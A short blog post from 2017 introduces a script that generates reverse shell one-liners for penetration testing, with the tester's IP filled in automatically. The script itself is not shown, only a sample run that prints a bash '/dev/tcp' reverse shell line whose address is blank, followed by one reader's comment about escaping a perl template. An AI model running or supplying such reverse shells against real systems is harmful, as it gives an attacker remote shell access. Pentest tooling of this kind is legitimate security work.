Thursday, August 10, 2017

Reverse shell payload helper


After bookmarking and constantly referencing the correct format for various types of reverse shell one-liners from Pentstmonkey, I decided to write a quick helper script for generating the correct code along with automatically filling in the IP address. Simply replace the interface variable with the name of the interface you conduct your penetration tests on and spawn your netcat listener.


$ bash 443
bash -i >& /dev/tcp/ 0>&1


1 comment:

  1. thanks for the script,
    I changed perl template- must escape the curly brackets by doubling them in order it to work